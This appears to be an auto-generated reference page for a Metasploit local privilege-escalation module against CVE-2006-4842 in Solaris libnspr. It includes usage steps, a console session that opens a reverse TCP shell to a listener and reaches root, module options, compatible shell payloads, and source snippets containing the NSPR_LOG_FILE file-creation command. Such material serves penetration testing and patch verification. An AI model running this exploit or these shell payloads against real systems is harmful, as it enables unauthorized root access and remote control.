Solaris libnspr NSPR_LOG_FILE Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/solaris/local/libnspr_nspr_log_file_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Solaris libnspr NSPR_LOG_FILE Privilege Escalation
Module: exploit/solaris/local/libnspr_nspr_log_file_priv_esc
Source code: modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb
Disclosure date: 2006-10-11
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64, sparc
Supported platform(s): Solaris
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2006-4842
This module exploits an arbitrary file write vulnerability
in the Netscape Portable Runtime library (libnspr) on
unpatched Solaris systems prior to Solaris 10u3 which allows
users to gain root privileges. libnspr versions prior to
4.6.3 allow users to specify a log file with the
NSPR_LOG_FILE
environment variable. The log file is
created with the privileges of the running process,
resulting in privilege escalation when used in combination
with a SUID executable. This module writes a shared object
to the trusted library directory /usr/lib/secure
and runs
the specified SUID binary with the shared object loaded
using the LD_LIBRARY_PATH
environment variable. This
module has been tested successfully with libnspr version
4.5.1 on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06)
(x86).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/solaris/local/libnspr_nspr_log_file_priv_esc
msf exploit(libnspr_nspr_log_file_priv_esc) > show targets
... a list of targets ...
msf exploit(libnspr_nspr_log_file_priv_esc) > set TARGET target-id
msf exploit(libnspr_nspr_log_file_priv_esc) > show options
... show and set options ...
msf exploit(libnspr_nspr_log_file_priv_esc) > set SESSION session-id
msf exploit(libnspr_nspr_log_file_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module exploits an arbitrary file write vulnerability in the Netscape Portable Runtime library (libnspr) on unpatched Solaris systems prior to Solaris 10u3 which allows users to gain root privileges.
libnspr versions prior to 4.6.3 allow users to specify a log file with
the NSPR_LOG_FILE
environment variable. The log file is created with
the privileges of the running process, resulting in privilege escalation
when used in combination with a SUID executable.
This module writes a shared object to the trusted library directory
/usr/lib/secure
and runs the specified SUID binary with the shared
object loaded using the LD_LIBRARY_PATH
environment variable.
Vulnerable Application
This module has been tested successfully with libnspr version 4.5.1 on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86).
Verification Steps
- Start
msfconsole
- Get a session
- Do:
use exploit/solaris/local/libnspr_nspr_log_file_priv_esc
- Do:
set SESSION [SESSION]
- Do:
run
- You should get a new root session
Options
SESSION
Which session to use, which can be viewed with sessions
SUID_PATH
Path to suid executable (must be linked to a vulnerable version of libnspr4.so
)
(default: /usr/bin/cancel
)
Some useful example SUID executables:
- /usr/bin/cancel
- /usr/bin/chkey
- /usr/bin/lp
- /usr/bin/lpset
- /usr/bin/lpstat
- /usr/lib/lp/bin/netpr
- /usr/sbin/lpmove
Scenarios
msf5 > use exploit/solaris/local/libnspr_nspr_log_file_priv_esc
msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > set session 1
session => 1
msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > set lhost 172.16.191.196
lhost => 172.16.191.196
msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.196:4444
[+] Created file /usr/lib/secure/libldap.so.5
[*] Writing '/tmp/.8ENHI80b/.z6luu3Y1JC.c' (166 bytes) ...
[*] Writing '/tmp/.8ENHI80b/.1hC6r9F' (175 bytes) ...
[*] Executing payload...
[+] Deleted /usr/lib/secure/libldap.so.5
[+] Deleted /tmp/.8ENHI80b/.z6luu3Y1JC.c
[+] Deleted /tmp/.8ENHI80b/.z6luu3Y1JC
[!] Tried to delete /usr/lib/secure/libldap.so.5, unknown result
[+] Deleted /tmp/.8ENHI80b/.1hC6r9F
[+] Deleted /tmp/.8ENHI80b
id
uid=0(root) gid=0(root)
uname -a
SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc
Go back to menu.
Msfconsole Usage
Here is how the solaris/local/libnspr_nspr_log_file_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/solaris/local/libnspr_nspr_log_file_priv_esc
[*] Using configured payload solaris/x86/shell_reverse_tcp
msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show info
Name: Solaris libnspr NSPR_LOG_FILE Privilege Escalation
Module: exploit/solaris/local/libnspr_nspr_log_file_priv_esc
Platform: Solaris
Arch: x86, x64, sparc
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2006-10-11
Provided by:
iDefense
Marco Ivaldi
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
SUID_PATH /usr/bin/cancel yes Path to suid executable (must be linked to a vulnerable version of libnspr4.so)
Payload information:
Description:
This module exploits an arbitrary file write vulnerability in the
Netscape Portable Runtime library (libnspr) on unpatched Solaris
systems prior to Solaris 10u3 which allows users to gain root
privileges. libnspr versions prior to 4.6.3 allow users to specify a
log file with the `NSPR_LOG_FILE` environment variable. The log file
is created with the privileges of the running process, resulting in
privilege escalation when used in combination with a SUID
executable. This module writes a shared object to the trusted
library directory `/usr/lib/secure` and runs the specified SUID
binary with the shared object loaded using the `LD_LIBRARY_PATH`
environment variable. This module has been tested successfully with
libnspr version 4.5.1 on Solaris 10u1 (01/06) (x86) and Solaris 10u2
(06/06) (x86).
References:
http://www.securityfocus.com/bid/20471
https://nvd.nist.gov/vuln/detail/CVE-2006-4842
https://www.exploit-db.com/exploits/2543
https://www.exploit-db.com/exploits/2569
https://www.exploit-db.com/exploits/2641
https://securitytracker.com/id/1017050
https://securitytracker.com/id/1017051
https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR
http://web.archive.org/web/20061118024339/http://labs.idefense.com:80/intelligence/vulnerabilities/display.php?id=418
http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1
Module Options
This is a complete list of options available in the solaris/local/libnspr_nspr_log_file_priv_esc exploit:
msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show options
Module options (exploit/solaris/local/libnspr_nspr_log_file_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
SUID_PATH /usr/bin/cancel yes Path to suid executable (must be linked to a vulnerable version of libnspr4.so)
Payload options (solaris/x86/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the solaris/local/libnspr_nspr_log_file_priv_esc exploit:
msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show advanced
Module advanced options (exploit/solaris/local/libnspr_nspr_log_file_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (solaris/x86/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the solaris/local/libnspr_nspr_log_file_priv_esc module can exploit:
msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the solaris/local/libnspr_nspr_log_file_priv_esc exploit:
msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/solaris/sparc/shell_bind_tcp normal No Solaris Command Shell, Bind TCP Inline
6 payload/solaris/sparc/shell_reverse_tcp normal No Solaris Command Shell, Reverse TCP Inline
7 payload/solaris/x86/shell_bind_tcp normal No Solaris Command Shell, Bind TCP Inline
8 payload/solaris/x86/shell_reverse_tcp normal No Solaris Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the solaris/local/libnspr_nspr_log_file_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <PATH>.c failed to compile
- <SUID_BIN_PATH> is not setuid
- gcc is not installed
- Could not determine libnspr version
- libnspr version <LIBNSPR_PKG_VERSION> is not vulnerable
- Could not determine Solaris version
- Solaris version <VERSION> is not vulnerable
- Solaris patch <PATCH>-<REVISION> has been applied
- Session already has root privileges
- <WRITABLEDIR> is not writable
- Could not create file '<LIB_PATH>/<LIB_NAME>'
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PATH>.c failed to compile
Here is a relevant code snippet related to the "<PATH>.c failed to compile" error message:
108: upload "#{path}.c", data
109:
110: output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/ gcc -fPIC -shared -g -lc -o #{path} #{path}.c"
111: unless output.blank?
112: print_error output
113: fail_with Failure::Unknown, "#{path}.c failed to compile"
114: end
115:
116: register_file_for_cleanup path
117: end
118:
<SUID_BIN_PATH> is not setuid
Here is a relevant code snippet related to the "<SUID_BIN_PATH> is not setuid" error message:
116: register_file_for_cleanup path
117: end
118:
119: def check
120: unless setuid? suid_bin_path
121: vprint_error "#{suid_bin_path} is not setuid"
122: return CheckCode::Safe
123: end
124: vprint_good "#{suid_bin_path} is setuid"
125:
126: unless has_gcc?
gcc is not installed
Here is a relevant code snippet related to the "gcc is not installed" error message:
122: return CheckCode::Safe
123: end
124: vprint_good "#{suid_bin_path} is setuid"
125:
126: unless has_gcc?
127: vprint_error 'gcc is not installed'
128: return CheckCode::Safe
129: end
130: vprint_good 'gcc is installed'
131:
132: # libnspr versions 4.5.1, 4.6.1 and 4.6.2 are known to be vulnerable
Could not determine libnspr version
Here is a relevant code snippet related to the "Could not determine libnspr version" error message:
132: # libnspr versions 4.5.1, 4.6.1 and 4.6.2 are known to be vulnerable
133: # Earlier versions may also be vulnerable
134: libnspr_pkg_info = cmd_exec 'pkginfo -l SUNWpr'
135: libnspr_pkg_version = libnspr_pkg_info.scan(/VERSION:\s+([\d\.]+),/).flatten.first
136: if libnspr_pkg_version.to_s.eql? ''
137: vprint_error 'Could not determine libnspr version'
138: return CheckCode::Unknown
139: end
140:
141: if Rex::Version.new(libnspr_pkg_version) >= Rex::Version.new('4.6.3')
142: vprint_error "libnspr version #{libnspr_pkg_version} is not vulnerable"
libnspr version <LIBNSPR_PKG_VERSION> is not vulnerable
Here is a relevant code snippet related to the "libnspr version <LIBNSPR_PKG_VERSION> is not vulnerable" error message:
137: vprint_error 'Could not determine libnspr version'
138: return CheckCode::Unknown
139: end
140:
141: if Rex::Version.new(libnspr_pkg_version) >= Rex::Version.new('4.6.3')
142: vprint_error "libnspr version #{libnspr_pkg_version} is not vulnerable"
143: return CheckCode::Safe
144: end
145: vprint_good "libnspr version #{libnspr_pkg_version} appears to be vulnerable"
146:
147: # Solaris 10 versions prior to the 2006 patches are known to be vulnerable.
Could not determine Solaris version
Here is a relevant code snippet related to the "Could not determine Solaris version" error message:
147: # Solaris 10 versions prior to the 2006 patches are known to be vulnerable.
148: # Solaris 8 and 9 (SunOS 5.8 and 5.9) are not affected by default,
149: # however third-party software may also introduce a vulnerable version of the library.
150: version = kernel_release
151: if version.to_s.eql? ''
152: vprint_error 'Could not determine Solaris version'
153: return CheckCode::Detected
154: end
155:
156: unless Rex::Version.new(version) <= Rex::Version.new('5.10')
157: vprint_error "Solaris version #{version} is not vulnerable"
Solaris version <VERSION> is not vulnerable
Here is a relevant code snippet related to the "Solaris version <VERSION> is not vulnerable" error message:
152: vprint_error 'Could not determine Solaris version'
153: return CheckCode::Detected
154: end
155:
156: unless Rex::Version.new(version) <= Rex::Version.new('5.10')
157: vprint_error "Solaris version #{version} is not vulnerable"
158: return CheckCode::Safe
159: end
160: vprint_good "Solaris version #{version} appears to be vulnerable"
161:
162: # The vulnerability was patched in various Solaris patches for different platforms.
Solaris patch <PATCH>-<REVISION> has been applied
Here is a relevant code snippet related to the "Solaris patch <PATCH>-<REVISION> has been applied" error message:
171: 119209 # Solaris 8 (SPARC) patch 119209-10
172: ].each do |patch|
173: if installed_patches =~ / #{patch}-(\d+)/
174: revision = $1.to_i
175: if revision >= 10
176: vprint_error "Solaris patch #{patch}-#{revision} has been applied"
177: return CheckCode::Safe
178: end
179: end
180: end
181: vprint_good 'Solaris patches are not installed'
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
183: CheckCode::Appears
184: end
185:
186: def exploit
187: if is_root?
188: fail_with Failure::BadConfig, 'Session already has root privileges'
189: end
190:
191: unless is_writable? datastore['WritableDir']
192: fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
193: end
<WRITABLEDIR> is not writable
Here is a relevant code snippet related to the "<WRITABLEDIR> is not writable" error message:
187: if is_root?
188: fail_with Failure::BadConfig, 'Session already has root privileges'
189: end
190:
191: unless is_writable? datastore['WritableDir']
192: fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
193: end
194:
195: # Create writable file in /usr/lib/secure
196: lib_path = '/usr/lib/secure'
197: lib_name = 'libldap.so.5'
Could not create file '<LIB_PATH>/<LIB_NAME>'
Here is a relevant code snippet related to the "Could not create file '<LIB_PATH>/<LIB_NAME>'" error message:
201: cmd_exec "NSPR_LOG_MODULES=all:5 NSPR_LOG_FILE=\"#{lib_path}/#{lib_name}\" #{suid_bin_path}"
202: cmd_exec "NSPR_LOG_FILE=#{lib_path}/#{lib_name} #{suid_bin_path}"
203: cmd_exec 'umask 022'
204:
205: unless is_writable? "#{lib_path}/#{lib_name}"
206: fail_with Failure::Unknown, "Could not create file '#{lib_path}/#{lib_name}'"
207: end
208:
209: print_good "Created file #{lib_path}/#{lib_name}"
210: register_file_for_cleanup "#{lib_path}/#{lib_name}"
211:
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- BID-20471
- CVE-2006-4842
- EDB-2543
- EDB-2569
- EDB-2641
- https://securitytracker.com/id/1017050
- https://securitytracker.com/id/1017051
- https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR
- http://web.archive.org/web/20061118024339/http://labs.idefense.com:80/intelligence/vulnerabilities/display.php?id=418
- http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1
See Also
Check also the following modules related to this module:
- auxiliary/admin/sunrpc/solaris_kcms_readfile
- auxiliary/dos/solaris/lpd/cascade_delete
- exploit/solaris/dtspcd/heap_noir
- exploit/solaris/local/extremeparr_dtappgather_priv_esc
- exploit/solaris/local/rsh_stack_clash_priv_esc
- exploit/solaris/local/xscreensaver_log_priv_esc
- exploit/solaris/lpd/sendmail_exec
- exploit/solaris/samba/lsa_transnames_heap
- exploit/solaris/samba/trans2open
- exploit/solaris/ssh/pam_username_bof
- exploit/solaris/sunrpc/sadmind_adm_build_path
- exploit/solaris/sunrpc/sadmind_exec
- exploit/solaris/sunrpc/ypupdated_exec
- exploit/solaris/telnet/fuser
- exploit/solaris/telnet/ttyprompt
- payload/solaris/sparc/shell_bind_tcp
- payload/solaris/sparc/shell_find_port
- payload/solaris/sparc/shell_reverse_tcp
- payload/solaris/x86/shell_bind_tcp
- payload/solaris/x86/shell_find_port
- payload/solaris/x86/shell_reverse_tcp
- post/solaris/escalate/pfexec
- post/solaris/escalate/srsexec_readline
- post/solaris/gather/checkvm
- post/solaris/gather/enum_packages
- post/solaris/gather/enum_services
- post/solaris/gather/hashdump
Related Nessus plugins:
- Solaris 10 (sparc) : 119213-27 (BEAST)
- Solaris 10 (sparc) : 119213-30
- Solaris 10 (sparc) : 119213-31
- Solaris 10 (sparc) : 119213-32
- Solaris 10 (sparc) : 119213-33
- Solaris 10 (sparc) : 119213-36
- Solaris 10 (x86) : 119214-27 (BEAST)
- Solaris 10 (x86) : 119214-30
- Solaris 10 (x86) : 119214-31
- Solaris 10 (x86) : 119214-32
Authors
- iDefense
- Marco Ivaldi
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.